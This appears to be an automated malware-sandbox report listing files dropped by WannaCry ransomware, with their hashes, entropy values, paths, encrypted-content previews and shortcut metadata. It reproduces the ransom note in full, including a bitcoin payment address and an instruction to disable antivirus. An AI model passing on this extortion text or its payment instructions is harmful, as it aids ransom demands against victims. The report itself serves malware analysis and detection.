                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):536856
                                    Entropy (8bit):7.999687211789005
                                    Encrypted:true
                                    SSDEEP:12288:T7epjxnxadwEaT7sw20lHnXBvZK4isE39EcfbDV+skIGjA:29xxyafB26TK3ssiW+s2A
                                    MD5:7D4BDB0DF015147554853C78E536A7A5
                                    SHA1:58FE07464F991169B13972184EDEB31ED06F92A1
                                    SHA-256:D73B30AB5714E8C3673540B1B9B4D964379930A18A68D8CE8A023A17C5F4BF26
                                    SHA-512:DDA02C175C9F7FF14CD4DB74F62C3B15051F4D23E977F2B925F7E0FC697C2F80C41F359BD2CA1C44E8EAE099E56A840B667DEDC93757E737C22A71E91A99A0FB
                                    Malicious:true
                                    Preview:WANACRY!..../...q..+a..07...~..%.....R.O..K.+.x.$........yT.?,.Jm...o..$...s.......j.r[..h."..00...Q9..#<......P...4L.....9.bF.........R_.Q.!.['...Z.....o#..yg2...a.0....{...v....P...o..s..~>...V}{.....N.O&.z..._S.Y.Z.,5.......xrM..Q...S6......[..[.1...`... .5!.....0......*..A.>.*J....Y\$...;u.J..u.....t7...c..#..E+.o.....q..9....W.?D.j.....>......%...O.*.v.p.s...@.."..|..bCA.........CI~..8%0h.z...O........v...4x....4<..r.I~5b|..e...Lp..N".%p..yj...gPE4...*Q.R..ZR\,f.&.|.6P.*..{hOT.R..U].p\"..V..(...<.Q..a.q../.`...z|.3..=.......].u.0)!.XG&....C.Vfw.Yj.....P..>..7...)...`a.BfcO..{...=n....j.C.2...GI#.;. -#u..+.M..|9.."cA.C..../G'k.<(..;B..E.Q<....~..R..g>.^.u....Za0....4..C.....v..&....""z.9h.=dF.`...B..7b........3#....<p.V....4.Zm.l5.x.U"z<.EK.tv.N.\.0...&.X0..........}.9.[..h...".....P..y^t..kU`...S...8..El.....:].....)(.......F.9..B.XU.Z..HN..[C.....au.......].#c.).T.<.C.fD..f.x.....}...M.G,......((.......G.h...."./.Y..Y^....#.V.'.y.`

                                    C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):89816
                                    Entropy (8bit):7.997977790919653
                                    Encrypted:true
                                    SSDEEP:1536:qrNvhMAv2ajNf6TqhdetS3L/MSfntuUdNl+GvPsiT0+lemGGXCBOToEIPSx:qZvvvRjNf+mhL0mvV+GXsiW9ByofSx
                                    MD5:3096F67CFEC342A29B7FB9F740EF6349
                                    SHA1:AE050482791FE635F9E12CCE954C3F5CB8233B78
                                    SHA-256:9977FD24E4A11424A19CF3DCD293A82BA53FCE4FF17232A9A8838A06E3BE09F2
                                    SHA-512:2E6F8F6FB7C6F558CA0917B86E80EAC2C66934E9A4408E714A97F62961207007810381241895E11A611628F3F3FA3BA27AA5544C0858F4D128EB147BCC4F4DE0
                                    Malicious:true
                                    Preview:WANACRY!....\..d."..X.n.N.Rx.@..pu.Fj..qI.W.....B....&..t.f]...l?...?..Y2..s....l2....s.o...m.2X...~..>K.KwB.P..&ix......c.......b....9...o)A.*.$.D.m..........v.].@..&.`.B..j......Bl...,$....$.}yk.Fv............~.1.N(....K....Z~x.W...>I....ay...~.....>F.......]..........T@d..)..:b..?....7O.~p..^.w.<......................k..@......W..-B..PNtC..0".=u.Ys.DNz.'d.....)...<..2...T.7..Q..;5H.K.,...<S%.g..e.7Y..B....w...@..$.neY...*s..S.y....i.1...W.k.f.`.SDv$....<Rt..4.........&...h/x.h.9-....nt.gZo.?s.M......j*1T...[.1..9.G\...L....Tv......;.S...Z=.5.+..E..{..}......|.i....d9.....V..1...(...J;_x....z..uVt.!..si....9(.(..6..bZ.....U.......,.....w.p.Lg..#..N....w....g.Ssg.T..S0.-....P..=)...Nx...c_.<.v.mP..^....,>>..?.V._.."....S+...........C@....6."l_.....5a...J.QgQ.^.cg5ot=X..........+IZ..2......G..B....`&..s.;........+.....a...K...Y.e].i.q/.".L.=*&..x.|)<..i..v...n.......(N@EAr...]..F.@.O>Ui.A...S.......P..#.....^D1.Z._v..........e'#.*.a

                                    C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):516712
                                    Entropy (8bit):7.9995944124419305
                                    Encrypted:true
                                    SSDEEP:12288:SLh7S8TvFVxoH+BqBxMERcwtWv1MWtSuTR6UhN+N+L1Lo0nW8:wh7S8ZVWH+BqBx1vtK1MKSw6E+o1Lo05
                                    MD5:EEEBAB1DC170B8AD8ABE01B577155734
                                    SHA1:4B1B076BAD63B2F7D1B7522657DE5784B30D3443
                                    SHA-256:2E575E2CF1825AE612170D76D9D567E9B122B735BAAC1192009828301A0C40D0
                                    SHA-512:FB63346983DD70675DB5DA583A8C5CE5626C3D35ECFA8C5727F72A6BC59ABCF5CC84D6022EDC7AC45DBAA9EFD21AF7FEA00F95378ABFD4AEDADD42FC249C6D62
                                    Malicious:true
                                    Preview:WANACRY!.....>.@.g.d.^.e..~p.....Fw[4....[....6......A...C..~j.t...<.D.E.!.h.C.!..0}5..u..A.(.eO-...K.0g'.p.......y.......a....}..3W.\.0.Y.i3....\...r......f.r?.....^A....*$.K...l...... ..F7tO.aN...L........>^...i^.r..+...[..M^.....e\....D.e...i..^..H..v....H.......u...E........?+..{.....m..>wK.......+..).&...c.. _j..nj4VMdW. J&^2.3.D]>..u...Qn..5.%.O..[y..M.u.~..W.;6.&..Wf.........`...>..|.P>?....6..R...1g....V.....(i....GX...Tp...E..!...Z\j>....0...y<...h.>.Q.z.0.=..@v{k...._l.V_......G.T...... a.,* .b...I.e|..C.Y..f+..7.t..u.yx.Pkun;TD..[E#..c.t....S%D..:7..0.n...p..<.^..(7.'M..D<..s.....qI\.6@.}.>RVW.C..{.b..[..F..Z.P...{....J..n.G........ w.o.......~...w..`.~.C..+G....Y.Q.....Rr..-...m...N.....n.k.......@W.jC.x5...@A5|y.V.;.....K.Y*....F.YI]....)e{.a#.{...h.w....<,.7a....*?_.....T.0j/.d..z.O...v.....ZOyX. .\,..{....6..v......s."8g!G..S......1:hA...-......"qQ.w...,(..rG.......]..7[.*i......m....-NZ......].C...^...q. o..._J...f....S.^'M>O.j...C

                                    C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Windows\Caches\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16664
                                    Entropy (8bit):7.9896803988491785
                                    Encrypted:false
                                    SSDEEP:384:sa2gu0UA0UfoPRxSP/26fvrXOQCHaPNij98H:sa9MAFoZxSPRXCGNijWH
                                    MD5:2D7827A135A9E3E1B57B9FB9DBB8164E
                                    SHA1:AE949751BF8FB7D197B057E304441705D3514D62
                                    SHA-256:8C310E72865C40E1521CE5984016E0B507EF07018BAF4BC446F3A0C8505ACEB9
                                    SHA-512:C5F8EE8EB2016E3289F3259B40B5F2EBFA8E831A4109758252AB04789D35D6DC405DC25A9B41D3BA29BEF462D3A021ECB09E720A12E89EE6D936049657287977
                                    Malicious:false
                                    Preview:WANACRY!.....U.......+.y..;.....(L...b*.a~\t..!....&..dT.?.#...%........~..5..4...e-..7....R....(.....r.m.....B........L.Z.S....!N...A..........TD..6.....g.^8|(...Q.....da...Q:OuM.....7H....".J.@Kr.c..=,...28..f.@S.G..V...)S%d.z..u.....P...._....0w.......@......I.iR.a.....R......E......_ZI..Q.}"../....x..6./c>.c...g....>..$...J.!-.)W....2!x.o.CFP.5.o.JeU.@.....+...ch.=U.|.....I.3...7.+b.r.......R....G.{7I8w........uI.J.c..Z.%....eF3..=.^....To.. jAC..._\L.Y=J...bG..[...3..;..(hM.@....A...T.].....~Z.t.>q!`....7..`K....>.j..8..g`.....l....9.bV.XP6...j......"..uR]......z..M...(.....:N.+o.;*B..,........+)...g.....(....4..{0.......;..e.0..m.\`.7..Q).........G.._...7.....R.z.#..>V.N.Fi[.u..6~..DZ\.._..].O.S..o..E..$.L5..^......U$..IW.....b.3....j029.G..m.... ......!B.-.W..a.c._....4..\..}!.[3m....c...}.r.?.xiY..E".%<."z.Q.FL.^.kn.=..%9..\/r.X.M.zZ.....6....w.B.E...j5...j...a.CQ...r.3.G.jC...0..Zxf.J}U.KE...Qw.B.TG....=[.g..ev...=.,S9.{.f..

                                    C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000002.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1528
                                    Entropy (8bit):7.865070827486974
                                    Encrypted:false
                                    SSDEEP:24:bk4dob4XFxScCR6kXtmjFuQuQdbzUj+e+Ow9/Epun5a9eMRKNTZf/jRO9adUTH3t:bk4X18Ok9mjFRuSbwWOKEcn5QYZf/jcv
                                    MD5:35E34E6A6EDEC9B124040ACB649048FE
                                    SHA1:300CBB1EEF1188B3995E22A236A38598BC0943FD
                                    SHA-256:632CD22AD5E0FCEB311B8BC16290135EA5D1081F42E64AD9A81C949BD5EDA2CD
                                    SHA-512:518759D0CE49D35172BA1F1BDB724C8A308CCF2E1479831BA822440430F32C800E8A683F85F721D603F32EB3FD91F9A176E84ABB039CF232EE39630DD0A68CBE
                                    Malicious:false
                                    Preview:WANACRY!......@8..;%.%...b.@-....ax.bz.....i...xGT.NQEr.....YF...y=.'2....!.1.Y.......w&....1s..dh.......K.K[...&o2._$9.8I.&.D....9!..e.k.sr...../...Z.ItBvC..R..]L..".>k.+..:.c{.........|Kd..ty......E...X..H.YU..&`.k..c./....q.. .......K9.2.P.H..S"..(.............:*1...Ut.:...b...,pI..q.....-j9..o)..v=l).FM...w...N`Cr. #..."R..j...+..NY'..Y.I..:K.!..+,X...vw...<..c.N.n@.k'..PfEw..d.0*.G.[..1.....m.L..a..z.....;..A'...2..Y.X.d0._.G;..M..vstH..HS.....D.......B)...^...........>..Y}b.u.ZL.5..Q.Pxc........)f...w..w.f.).b.v=(............RZ.A..O.....o.....Za\..!N.q..nr..t3..rY.G".(.e\m.TC.-.7..+.c.....,.X.O..DJ....IEhV...h.G+...w.....p.]....q.;<pm..F.....q....pG.x...P.{E..}.o0..]....7..:e./.Jm...7......;{~..?...6.y.0u......1.9....H.J..~.e:5.:....NZK..i..k.'..>w.w.....'.....=..I....Bi.7.?..r...&..K..M-.Lr:ly..e..4.c..."(.su...v}I.....Sw...L..,m.,22[.".`.8. 0.!.b..e..U.;. .=..|D.Ql....X."q.=7=j4;..b5.:.4.....K...........g4.S1.E.(..a.....-..s.$5f.{...zo..q

                                    C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000003.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1528
                                    Entropy (8bit):7.869100582046803
                                    Encrypted:false
                                    SSDEEP:24:bkQGiQNyXI6u7Ky6/+scWgxX/p8tyb//10nG2yva7rqjrKJS1WYr9dm/V/R4P:bkQmyXI6XhgxXBDl0nG2GaixUYrKp4P
                                    MD5:9D72ADC685C6D79269D7AF4FFEC9F75F
                                    SHA1:D24073734C577DC81051B45395ABA0E7BEE8DAFE
                                    SHA-256:1AA7E41F0498A6D340D646C5FBD34CF26FA2C25B91CE8FE34CBAB742BF902D3F
                                    SHA-512:9D75A1515CB74EA88DB084838A32E44C128F3AC158DD103A6AD2D9D8FF8CCA8A1DCC48126A351C2B795B7163138A6A97A34D117F948190CF38C9F2D1BEB36A71
                                    Malicious:false
                                    Preview:WANACRY!....5...zf.......v:~.(0...0..B.<...p.}.i.........2^?.Wc.{=T.-I'.=b...S...ZS.!."...^zJ..E.S-..R.(....7........r..A..l.G....X.U.XH..#......A.%..>..Z._.{l....>.......S..52._...Ih.\..u..W.@...lS.~....oN.......?......Rr.-...I...1...|......+B...Gh.;..73.............x.'...E[W**..5m..1.%2..x.+i..8 ...U.?.K.&........D....S......x..^Z..)].............Q....O.^.w&.D.$Ok...G....|.....*#wId.....W.........x,p.g..X......ar....<...J..5../.$.)...Zf.-.l..x..R..9....P..N............!.>......^y.a...{..............$.!.A<............N).-{..x....E .......+6.x.7L..(./J.1P....R:.oC.$..9.m.b.1........r6......V.]>.P.Y.J..5Koz`h(.G..}7.JC..B.I.1 ..........L1=m...P9..W..@X.P..1.N......W\;Z^...*.-%q.+.w(....#.RRN.....g?W...(....S.q../B[l....?\.W.{.DN.V.._..>.u......8...a...8*.eY9..c.qi.tRz)D|7.....u@......,)._c.oH}...A8'.......kEM.N..X.f.M.u..y...E...8.WE....}k.....MY.;.J.W..$....+.A.D.V.~..tl#.....U.l..w.._s..H5v..E......(_.|{.Q.Q.......j.........GaFnX...v

                                    C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000002.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1352
                                    Entropy (8bit):7.86062644596831
                                    Encrypted:false
                                    SSDEEP:24:bkyTo/6iSIZYNgvqBPYIVFsw1fPe6eeHGRqNJCsnXTGfSwRq1oW3mJoTWlz84bN:bkyToEIZYVt3eI+KJCsnXGSwRquW2+Wr
                                    MD5:C20DFC957A5676057F3A3BEB60964FA5
                                    SHA1:4EE5D588C14FBE68DC1A7B7CC62CD8FC5928ED9A
                                    SHA-256:7B1A2A4E5687080AD831DC4D9AF2C4BEDC3547817F9A98F5173BDF75056996A4
                                    SHA-512:BF0EED9B16AE04B99AAEAA968F781163DAF66EF9153B5A3BAC93B8FBD2255282FEDF871B0B86C783544496E5CBDD70909EF3B128A40AA2FC2BB667A2660E40DB
                                    Malicious:false
                                    Preview:WANACRY!......,4Y.....w..d.O<.D7d..Vk......j..t.........7.H.x.....e..`.e....d..t.....a}n.a..FR.=.,....h..Zp&$A.2.uA..S.gz....)....n....WA....G...y.}w.y.6.O.O......u.f=iZP..`....nm?..6..=......v.R..X?5.nRqVl.'..I....K%L......./.W.........<......i...Vj....D....(..............p(AU...n....%..A@.i.C.U..q.!..'D.O..).......$.e...._tm..*..cj..H.#..W/.....7....B......#,...toC.}.`.H`(Rb8.e...5?...W..$M...?...v.&.....i.4.{8em......g...bKos...>....@b.2...7L.......tu.,>~...a@."qN......R...z-..yT".i.H7d....w.`..A.2}0.)W...D,'.(...AD..]...M.;.Z....Ll........u..m.'T.MZ......_..[.....=..._.r.7..7...".V......V.Fo.V..9\S.z.c(N.S......u...'E.kB.;||...L0...w...{5.r....-<F...Z.6....!..-......ac.....&q/...zJ..~.5.P(.M.`?.L..$..9.....3..O.<!(-.g....0gn*.A<.......l'.R..nD..T.P..q.;.9..a...[..?..O,{.J&.a..f...k..2E..~.(..eH...z......+.1.o.'_*.........T.^y.ha.J...K%....Jr).0C.........i}3Rx|.1.5>...,...f.Xzi.I.......O6<..(....q.s..n....Q...b..*.8.A...1kv.

                                    C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000003.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1352
                                    Entropy (8bit):7.854780033412206
                                    Encrypted:false
                                    SSDEEP:24:bktlkIUHPZCMfpS+HhC9HETxdFbShoNloa+r/O7k5vci4hjdeaooNSX12+8z5:bkFahCMhnHkHE9XbShIl7a2w5U3hB/D7
                                    MD5:977797AEAE8AEA165FEFBEB3169FDAA3
                                    SHA1:968FDB09B2BE8C10D3E3AD1968939C7CDAE787B2
                                    SHA-256:E533723083D07438BC0BFA4694891837D6EEE150AE7A2E4D4B33B1547FD820E7
                                    SHA-512:8945FFC0080EA15C7DFADF9DD891E3021FC9FAACE6F53CF0F9E2CB2742FCCDD40BFED3B64326FA1CCF501FDB0499DA9ECC0CD414F8C55F9C444085E416D90127
                                    Malicious:false
                                    Preview:WANACRY!........G.3..C^...o.E%E(mHb.%..n.....#LO.K2Xhi.0..../..J..r.C.fd.."1.....^....w.c....9B..`-,.j.z..w;..U...A8C.;.t.&............t<..?r.....Tl...H.]_54......1#...+,..{z....|..>}9-F.V>.g.&-...Q..~....;q2...j......1|..a.%=..x...+..)..a.j...V..........(............LO..N.c0d..Q`|.'rW.}2c.i...MN....j......{FJ.hT.p..<...v~q..P.......$..N.iB.e-l..>.... F.i.!..%...rx.......E.1.pk.4.7.C.....E.n..1u..R_<E'.....y..>. V.....1.....|l#R.m.D.......6..%.%..o.......#d................#.o.9......... ...[Zk.F8.T.{5 b..q.h,..{....-..8.Oj..~..m...w....{`x..+P.z..H9..1......'~...0..9.6.@6C....&..B..o.^#A.8..........>....Oop..v\..X.m...r^.cF.O.0}s.p...uG....S.......{.c.... +.AQ.......=...;l...w(..S.......~..40V..d.1.l..K..5#.+..ts.C...).k.u<b..X.J.e.:..a.1.E..:.|V...E<i.N:.../.D..".KG...gl...f...r ..A*j.l.#~..&.K.o..G.!.}]E.*...... .a.%...j.u3.F..g..M....{12....R7..>....G,.......T...-.a..;...).*...p.Wz.].*....K.............[.]..f..}....Q@..X......?F.

                                    C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):297144
                                    Entropy (8bit):7.99940477277106
                                    Encrypted:true
                                    SSDEEP:6144:lOKPe+YEiTE8CTZG05xr3hH4gKuYtvJgFa/H0NPZzXKG66eEj:9FYnTEhn5xlH4qYtKa/HUPxq7Ej
                                    MD5:EE5AC14B5FAA61B24AC0F7B151699D12
                                    SHA1:AD3C3BB29A25D89DAD6224E18B945AE88EEE0F69
                                    SHA-256:0CF8190C424EB160A2BC01ED4501175BE0A6A2451929A02154B7ED6185FD3450
                                    SHA-512:6FC8C47510503DA5977A4CB092592BCB51E54F393A0E01B57060B59AF73F9F6C8776BE81E43D4ED86C48C8D6D0D5C6FE935C6A2260CF7F2F14DAAD98663FC179
                                    Malicious:true
                                    Preview:WANACRY!....8N;.^..."6...oT..f.>.v...ui....Z.$.....Q?-1.V./*.F...a..../..@.[..rtW.g...R.......8......AI.C<L..R..M!..f..-...<.....df....|.$......ao{j...{S.y.....k.L3...O.".u.!..D.b...v..e.'v...ui5..k..O.VU}X]..W"fZE>................E$.....e...a,.W*..Aa3Y...............S......$.#*.dT~. [..".p..W....x.w..o ..TD....s.w.%+m..w...I....|TI....j.JS.:.G..U.,.M..Q.X]...h..)j.b...=...~..k.3()(q~.:}.!....ya_.....SR."M..[tv.w..F..aa.L+.R........._:...XS*....\....N...x...wA3?.....;.....v.W../..S..<.}9....$2.vg].+......a}...3A..%6.......2....m8.2k4...!....de...T.j........'E.".4..1..X..z..M..v.m..!I.Z...._.. .s....)._.)_.j... ..%X.........;.kR.W.7@.I..X.EZ.....)......h....t^h...e%...J..........V.X.t.<.9UE..&"Q..._..|...........b&D,V...... ....Qv.#O.."..O......YP.<..f.b...)'.^..<U,........Cz}...T#..m...7@n..j......L..r.+...zT...E...o.j...1.W.*.l.ea.Q....i..@w)SK.......~&a&...fseSum.Y.g....+9.z(.A.....Lmm]O|..'.T...,Ru.....=....!.. E.aC..Y.x:zp.q..

                                    C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):297144
                                    Entropy (8bit):7.999371291928232
                                    Encrypted:true
                                    SSDEEP:6144:8LcJV50RSKVyhP0FTr4Ly95BnN5D52rJJ78Eg8Ci0qNSBtsHMq:4cJV50RS/hP0FvZjoDoEfX0+Qq
                                    MD5:D860FAAB40C81ECA07C9EF185F8CAFB5
                                    SHA1:94EF7D9FDD999C3CC934827A0A06BADEA8CD2CCF
                                    SHA-256:126754B43C230A24CFA00271F259F912EA4DEF2B4E53B71B65994EF61B148C16
                                    SHA-512:98A9346A8EAC938E71ABCF34F53A93DE5E30E67215D00CFDA5158A875FAC534076DA3548BA73C9159E1E60B2C60068682555B4686C65F1F800DDE4ACA7EA5453
                                    Malicious:true
                                    Preview:WANACRY!.....<..S.@..:h..}Y.WD,.f...;...B.....xj<)MCdJbP.f.......u.8O........j.......{c..o..xBVmn#...DD._r"*.W.*.....Z...........*..+.Wp."sM.....J.x.V?d....g.\....h...I./..~.B.8].-.<e..."...U5..t.@..ak..)-.1e.bRb.../.......|......4..BA@L2m.2.*3.......x?4Q.v..............x..Jv.d/...c/..qUW;t.`..G.~.d0.........9..J..W.a.%......n....>..ge..B.....U}f..x..t.....F.u....9..............k2.q.ro.9.y.............L.6.F.?..[p..6.0...-..^.l........kp&3.c.1or..![.F.....$..Y...`.Y.t.\O..S.9hj...J......X.w.8.$.g.l...K..'..*s.E.-......C-eIo.C....tD..../.F.=.L....7..Q..D.\.fd... u....J..)..._..z..d{..lw..>.Kx.U...9U0V.{......C..V....<l.%.B,..!..L..X%....=.eI..d..d.;..j.5.iloo)......2.$...K.6.:....:T8..,.s.k*...)~J.P.p'*.......O.n!..e.$.....&r4h]n.......p.m......Kf. 5....rAu.yg....Jh... .Vl.t.2..)..<..W_...$N..Bm.=v.5....DJ....q..C..4.........wA.Qi.z.#.<..._......"0{.........n....].Il.K(..;&..1...........w9dB......C..a...b.U.i/}....._..3..8q..NZq.K...!.(K.?.m...O2

                                    C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT

                                    Download File
